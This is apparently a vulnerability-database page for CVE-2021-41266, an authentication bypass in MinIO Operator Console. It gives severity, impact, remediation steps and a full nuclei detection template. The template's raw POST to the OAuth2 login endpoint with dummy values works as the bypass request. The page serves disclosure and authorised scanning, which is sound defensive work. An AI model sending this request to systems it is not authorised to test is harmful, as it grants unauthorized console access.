HexBrain

Browse / CVEs / CVE-2021-41266

CVE-2021-41266· min / minio console· CWE-306

MinIO Operator Console Authentication Bypass

criticalseverity
9.8CVSS score
48.1%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

MinIO Console is a graphical user interface for the for MinIO Operator. MinIO itself is a multi-cloud object storage project. Affected versions are subject to an authentication bypass issue in the Operator Console when an external IDP is enabled.

Impact

An attacker can bypass authentication and gain unauthorized access to the MinIO Operator Console.

Fix

Update to v.0.12.3 or higher. Users unable to upgrade should add automountServiceAccountToken: false to the operator-console deployment in Kubernetes so no service account token will get mounted inside the pod, then disable the external identity provider authentication by unset the CONSOLE_IDP_URL, CONSOLE_IDP_CLIENT_ID, CONSOLE_IDP_SECRET and CONSOLE_IDP_CALLBACK environment variable and instead use the Kubernetes service account token.

How to confirm it

Send: POST /api/v1/login/oauth2/auth
Positive when: contains "sessionId" AND contains in header "token" AND status 201 or 200

Run it with nuclei: nuclei -id CVE-2021-41266 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-41266

info:
  name: MinIO Operator Console Authentication Bypass
  author: alevsk
  severity: critical
  description: |
    MinIO Console is a graphical user interface for the for MinIO Operator. MinIO itself is a multi-cloud object storage project. Affected versions are subject to an authentication bypass issue in the Operator Console when an external IDP is enabled.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the MinIO Operator Console.
  remediation: 'Update to v.0.12.3 or higher. Users unable to upgrade should add automountServiceAccountToken: false to the operator-console deployment in Kubernetes so no service account token will get mounted inside the pod, then disable the external identity provider authentication by unset the CONSOLE_IDP_URL, CONSOLE_IDP_CLIENT_ID, CONSOLE_IDP_SECRET and CONSOLE_IDP_CALLBACK environment variable and instead use the Kubernetes service account token.'
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41266
    - https://github.com/minio/console/security/advisories/GHSA-4999-659w-mq36
    - https://github.com/minio/console/pull/1217
    - https://github.com/HimmelAward/Goby_POC
    - https://github.com/StarCrossPortal/scalpel
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-41266
    cwe-id: CWE-306
    epss-score: 0.48134
    epss-percentile: 0.98869
    cpe: cpe:2.3:a:min:minio_console:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: min
    product: minio_console
  tags: cve2021,cve,minio,min,vkev,vuln

http:
  - raw:
      - |
        POST /api/v1/login/oauth2/auth HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/json

        {"code":"test","state":"test"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "sessionId"

      - type: word
        part: header
        words:
          - "token"

      - type: status
        status:
          - 201
          - 200
        condition: or

References

Use this check only on systems you are authorised to test. Where the data comes from